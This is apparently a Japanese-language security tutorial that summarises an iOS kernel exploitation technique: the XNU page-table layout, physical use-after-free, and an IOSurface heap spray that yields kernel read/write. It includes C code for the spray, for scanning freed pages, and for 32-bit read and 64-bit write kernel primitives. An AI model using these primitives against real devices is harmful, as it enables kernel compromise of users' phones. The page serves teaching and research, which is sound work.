# iOS Exploiting ## Physical use-after-free これは[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)の投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報は[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)で見つけることができます。 ### Memory management in XNU iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0から0x8000000000**まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、**カーネル**は**ページテーブル**を使用して仮想アドレスを実際の**物理アドレス**に変換します。 #### Levels of Page Tables in iOS ページテーブルは3つのレベルで階層的に整理されています: 1. **L1 Page Table (Level 1)**: * ここにある各エントリは、大きな範囲の仮想メモリを表します。 * **0x1000000000バイト**(または**256 GB**)の仮想メモリをカバーします。 2. **L2 Page Table (Level 2)**: * ここにあるエントリは、特に**0x2000000バイト**(32 MB)の小さな仮想メモリ領域を表します。 * L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。 3. **L3 Page Table (Level 3)**: * これは最も細かいレベルで、各エントリは単一の**4 KB**メモリページをマッピングします。 * より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。 #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: * ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接**マッピング**します(ショートカットのように)。 * **Pointer to Child Page Table**: * より細かい制御が必要な場合、あるレベルのエントリ(例:L1)は次のレベルの**子ページテーブル**を指すことができます(例:L2)。 #### Example: Mapping a Virtual Address 仮に仮想アドレス**0x1000000000**にアクセスしようとするとします: 1. **L1 Table**: * カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もし**L2ページテーブルへのポインタ**があれば、そのL2テーブルに進みます。 2. **L2 Table**: * カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指している場合、そこに進みます。 3. **L3 Table**: * カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。 #### Example of Address Mapping 物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります: * 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。 * これはL2レベルでの**ブロックマッピング**です。 また、L2エントリがL3テーブルを指している場合: * 仮想アドレス範囲**0x1000000000 -> 0x1002000000**の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。 ### Physical use-after-free **物理的なuse-after-free**(UAF)は、次のような場合に発生します: 1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。 2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。 3. プロセスがメモリを**解放**(フリー)します。 4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。 5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。 6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。 これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。 ### Exploitation Strategy: Heap Spray 攻撃者は解放されたメモリにどの特定のカーネルページが割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します: 1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。 2. 各IOSurfaceオブジェクトには、そのフィールドの1つに**マジックバリュー**が含まれており、識別が容易です。 3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。 4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。 この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。 ### Step-by-Step Heap Spray Process 1. **Spray IOSurface Objects**: 攻撃者は特別な識別子(「マジックバリュー」)を持つ多くのIOSurfaceオブジェクトを作成します。 2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。 3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み取りと書き込み**を行う能力を得ます。これにより、彼らは: * 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。 * 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネルの読み書きプリミティブ**を実現します。 IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` 解放された物理ページ内の**`IOSurface`**オブジェクトを検索します: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### IOSurfaceを使用したカーネルの読み書きの実現 カーネルメモリ内のIOSurfaceオブジェクトを制御できるようになると(ユーザースペースからアクセス可能な解放された物理ページにマッピングされている)、**任意のカーネルの読み書き操作**に使用できます。 **IOSurfaceの重要なフィールド** IOSurfaceオブジェクトには2つの重要なフィールドがあります: 1. **使用カウントポインタ**:**32ビットの読み取り**を許可します。 2. **インデックス付きタイムスタンプポインタ**:**64ビットの書き込み**を許可します。 これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。 #### 32ビットカーネル読み取り 読み取りを行うには: 1. **使用カウントポインタ**をターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。 2. `get_use_count`メソッドを使用して、そのアドレスの値を読み取ります。 ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64ビットカーネル書き込み 書き込みを行うには: 1. **インデックス付きタイムスタンプポインタ**をターゲットアドレスに上書きします。 2. `set_indexed_timestamp`メソッドを使用して64ビット値を書き込みます。 ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### エクスプロイトフローの再確認 1. **物理的なUse-After-Freeをトリガー**: 解放されたページは再利用可能です。 2. **IOSurfaceオブジェクトをスプレー**: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。 3. **アクセス可能なIOSurfaceを特定**: 制御している解放されたページ上のIOSurfaceを見つけます。 4. **Use-After-Freeを悪用**: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意の**カーネルの読み書き**を可能にします。 これらのプリミティブを使用して、エクスプロイトは制御された**32ビットの読み取り**と**64ビットの書き込み**をカーネルメモリに提供します。さらなる脱獄ステップでは、より安定した読み書きプリミティブが必要になる可能性があり、追加の保護(例:新しいarm64eデバイスのPPL)をバイパスする必要があるかもしれません。